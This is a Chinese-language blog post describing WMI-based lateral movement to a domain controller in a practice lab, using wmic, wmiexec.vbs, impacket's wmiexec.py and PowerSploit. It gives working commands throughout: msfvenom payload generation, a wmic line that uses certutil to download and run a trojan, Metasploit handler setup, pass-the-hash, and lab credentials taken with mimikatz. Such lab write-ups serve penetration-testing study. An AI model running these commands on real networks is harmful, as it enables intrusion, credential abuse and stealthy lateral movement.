域滲透之利用WMI來橫向滲透

smileleooo發表於2024-06-24

目錄
  • 前言
  • wmi介紹
  • wmiexec和psexec的區別
  • wmic命令執行
  • wmiexec.vbs
  • wmiexec.py
  • Invoke-WmiCommand.ps1

前言

上一篇打紅日靶場拿域控是用ms17-010漏洞執行命令的方式,最後提到了wmi利用的方式。接下來我將繼續採用之前的紅日靶場環境,只保留web伺服器和域控,使用wmiexec嘗試拿下域控制器。

wmi介紹

WMI(Windows Management Instrumentation)Windows管理規範,它提供了一種標準化的方式,管理本地或遠端計算機系統。

利用WMI橫向滲透的優勢:WMI的價值就是不需要下載和安裝,因為WMI是Windows系統自帶的功能,而且整個執行過程都在計算機記憶體中進行,操作記錄不會在Winodws日誌中留存。

WMIC命令:WMIC(Windows Management Instrumentation Command-line)是Windows自帶的一款用來管理操作WMI的工具。WMI服務預設使用RPC機制來進行通訊,需要目標主機開放135埠(WMIC預設的管理埠)和445埠。WMIC命令需要本地管理員或域管理員才可以進行正常使用。

透過wmic遠端連線去執行命令,命令執行結果將不會回顯,而使用wmiexec可以得到一個有互動的命令執行。

wmiexec和psexec的區別

說到wmiexec就不得不提psexec,PsExec它是一種輕量級的telnet替代品,可以在其他系統上執行程序,完成控制檯應用程式的完全互動,而無需手動安裝客戶端軟體。

psexec的基本原理是:先建立IPC$通道連線,遠端建立psexecsvc服務,然後透過psexec服務執行命令,服務端啟動相應的程式並執行回顯資料,執行結束後刪除服務。

有psexec為啥出現了wmiexec?

psexec缺點就是在啟動psexec建立連線後,遠端系統上會被安裝一個psexecsvc服務,安裝服務會留下日誌。而wmi可以做到無日誌,攻擊指令碼無需寫入到磁碟,增加了隱蔽性。有大佬使用指令碼呼叫wmi來模擬psexec的功能,於是wmiexec就誕生了。

wmic命令執行

首先是最基本的wmic執行命令的方式實現遠端控制,實現方式是向靶機上傳一個木馬,然後連線獲得shell。

目前靶場環境:

kali的msf可以透過Win7跳板機訪問到域控,但是域控不出網沒路由無法反彈shell到msf
msf+proxychains搭建socks5隧道可將流量代理到內網
mimikatz抓取到了域控使用者和明文密碼:god\liukaifeng01/hongriSEC@2019

所以需要獲取一個正向的msf連線,生成一個正向tcp連線的payload檔案:

msfvenom -p windows/x64/meterpreter/bind_tcp lport=5555 -f exe -o b.exe

image

將msf木馬上傳win7的網站目錄:

image

透過Win7的cmd使用wmic遠端連線域控主機,執行下載並執行msf木馬命令:

wmic /node:192.168.52.138 /user:god\liukaifeng01 /password:hongriSEC@2019 process call create "cmd.exe /c certutil.exe -urlcache -f -split http://192.168.52.143/b.exe&&b.exe"

image

命令執行成功之後,域控192.168.52.138會開啟5555埠監聽,然後在msf上個執行blin_tcp模組來獲取shell:

use exploit/multi/handler
set payload windows/x64/meterpreter/bind_tcp
set rhost 192.168.52.138
set lport 5555
run

image

拿到域控meterpreter shell後嘗試getsystem提權:

image

wmiexec.vbs

wmiexec.vbs指令碼透過vbs呼叫wmi來模擬psexec的功能,支援兩種模式,一種是半互動式shell模式,另一種是執行單條命令模式。

指令碼地址:https://github.com/k8gege/K8tools/blob/master/wmiexec.vbs

上傳vmiexec.vbs到Win7機器上,然後使用cscript.exe執行指令碼拿到半互動式的shell:

cscript.exe //nologo wmiexec.vbs /shell 192.168.52.138 liukaifeng01 hongriSEC@2019

image

還有直接執行單條命令,上傳C2木馬,和前面wmic命令執行套路相同:

cscript.exe wmiexec.vbs /cmd 192.168.52.138 liukaifeng01 hongriSEC@2019 "certutil.exe -urlcache -f -split http://192.168.52.143/b.exe&&b.exe"

image

執行成功後拿到shell,其實本質也就是執行wmic命令。

wmiexec.py

impacket工具包的wmiexec.py指令碼透過wmi實現了半互動式的shell。它是透過135埠建立DCOM連線獲取win32_Process物件,透過win32_Process的create方法建立程式執行命令,然後透過445埠建立smb連線訪問admin$共享下的結果檔案,完成結果回顯。

指令碼地址:https://github.com/fortra/impacket/blob/master/examples/wmiexec.py

上傳vmiexec.py到Win7主機上,使用使用者密碼連線拿shell:

python wmiexec.py liukaifeng01:hongriSEC@2019@192.168.52.138

image

Win7主機上沒有python包,嘗試在kali上執行透過socks隧道代理進內網,代理nmap掃描域控135和445埠開放:

image

proxychains4代理進內網獲取shell:

proxychains4 python wmiexec.py liukaifeng01:hongriSEC@2019@192.168.52.138

image

或者是PTH攻擊:

python wmiexec.py -hashes LM-Hash:NTLM-Hash Administrator@192.168.52.143 "whoami"

Invoke-WmiCommand.ps1

PowerSploit工具包Invoke-WmiCommand.ps1指令碼是利用Powershell來呼叫wmi來遠端執行命令,並且可以回顯執行結果。

指令碼地址:https://github.com/PowerShellMafia/PowerSploit/blob/master/CodeExecution/Invoke-WmiCommand.ps1

還是先將指令碼上傳至Win7跳板機,從cmd切換到powershell然後匯入Invoke-WmiCommand.ps1指令碼:

Import-Module .\Invoke-WmiCommand.ps1

如果遇到無法匯入模組以管理員身份開啟PowerShell執行:set-executionpolicy remotesigned

指定目標系統使用者名稱和密碼:

$User="god\liukaifeng01"
$Password=ConvertTo-SecureString -String "hongriSEC@2019" -AsPlainText -Force

匯入Credential:

$Cred=New-Object -TypeName System.Management.Automation.PSCredential-ArgumentList $User,$Password

指定要執行的命令和目標ip:

$Remote=Invoke-WmiCommand -Payload {whoami} -Credential $Cred -ComputerName 192.168.152.138

將執行結果輸出到螢幕上:

$Remote.PayloadOutput

遺憾的是指令碼報錯:

image

在本地一臺Win10虛擬機器測試ps正常執行,但在靶場上Win7指令碼報錯登錄檔的問題,目前沒解決。還有一個是PowerShell自帶的一個模組Invoke-WMIMethod,缺點是不能回顯。

$User="god\liukaifeng01"
$Password=ConvertTo-SecureString -String "hongriSEC@2019" -AsPlainText -Force
$Cred=New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $User,$Password
Invoke-WMIMethod -Class Win32_Process -Name Create -ArgumentList "calc.exe" -ComputerName "192.168.152.138" -Credential $Cred

image

這次又報錯RPC服務不可用。。。埠狀態正常,之後再試試吧。

以上就是我從網上了解的幾種wmi在橫向滲透中的用法,利用紅日靶場復現了一下,遇到了一些困難,但還是有所收穫。


若有錯誤,歡迎指正!o( ̄▽ ̄)ブ

相關文章